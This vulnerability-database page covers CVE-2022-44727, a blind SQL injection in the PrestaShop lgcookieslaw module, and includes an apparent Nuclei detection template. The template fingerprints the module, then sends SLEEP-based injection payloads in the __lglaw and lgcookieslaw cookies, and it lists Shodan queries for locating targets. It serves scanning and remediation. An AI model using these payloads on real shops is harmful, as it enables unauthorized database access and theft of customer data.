CVE-2022-44727: PrestaShop lgcookieslaw - SQL Injection

2026-06-17 PrestaShop PoC Public

Description

The EU Cookie Law GDPR (Banner + Blocker) PrestaShop module before 2.1.3 allows blind SQL injection via the __lglaw or lgcookieslaw cookie used to store user consent choices.

PoC

id: CVE-2022-44727

info:
  name: PrestaShop lgcookieslaw - SQL Injection
  author: mastercho
  severity: critical
  description: |
    The EU Cookie Law GDPR (Banner + Blocker) PrestaShop module before 2.1.3 allows blind SQL injection via the __lglaw or lgcookieslaw cookie used to store user consent choices.
  impact: |
    Successful exploitation allows unauthenticated attackers to read or modify the shop database, including customer PII and payment-related data.
  remediation: |
    Upgrade the lgcookieslaw module to version 2.1.3 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44727
    - https://security.friendsofpresta.org/modules/2022/11/06/lgcookieslaw.html
    - https://web.archive.org/web/2/https://securityandstuff.com/posts/cve-2022-44727/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-44727
    epss-score: 0.02579
    epss-percentile: 0.84429
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 3
    vendor: lineagrafica
    product: eu_cookie_law_gdpr
    framework: prestashop
    shodan-query:
      - http.component:"Prestashop"
      - http.component:"prestashop"
  tags: cve,cve2022,prestashop,prestashop-module,sqli,time-based-sqli,lgcookieslaw,unauth

variables:
  rand_num: "{{rand_int(1000,9999)}}"
  lglaw_v1: "2,3,4,5) AND (SELECT {{rand_num}} FROM (SELECT(SLEEP(10)))vkBH) AND (9297=9297"
  lglaw_v2_json: "{\"lgcookieslaw_accepted_purposes\":\"[\\\"1\\\",\\\"2\\\",\\\"3\\\",\\\"4\\\",\\\"5) AND (SELECT {{rand_num}} FROM (SELECT(SLEEP(10)))vkBH) AND (9297=9297\\\"]\"}"
  lglaw_v2: "{{base64(lglaw_v2_json)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /modules/lgcookieslaw/views/css/front.css HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /modules/lgcookieslaw/views/js/front.js HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    host-redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(tolower(body), 'lgcookieslaw')
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Referer: {{RootURL}}
        Cookie: __lglaw={{lglaw_v1}}

      - |
        @timeout: 20s
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Referer: {{RootURL}}
        Cookie: lgcookieslaw={{lglaw_v2}}

    stop-at-first-match: true
    host-redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        name: lglaw-v1-sqli
        dsl:
          - duration_1 >= 10
          - status_code_1 == 200
        condition: and
      - type: dsl
        name: lglaw-v2-sqli
        dsl:
          - duration_2 >= 10
          - status_code_2 == 200
        condition: and
# digest: 4b0a00483046022100990d49a881b0850a094eb0477c7aa8f7d95241440d017686a57d75d50d6b0d61022100a327236a405e7cb45661c1c853fe31b9587687127d7d42f95acb0b3a9783878c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Related Vulnerabilities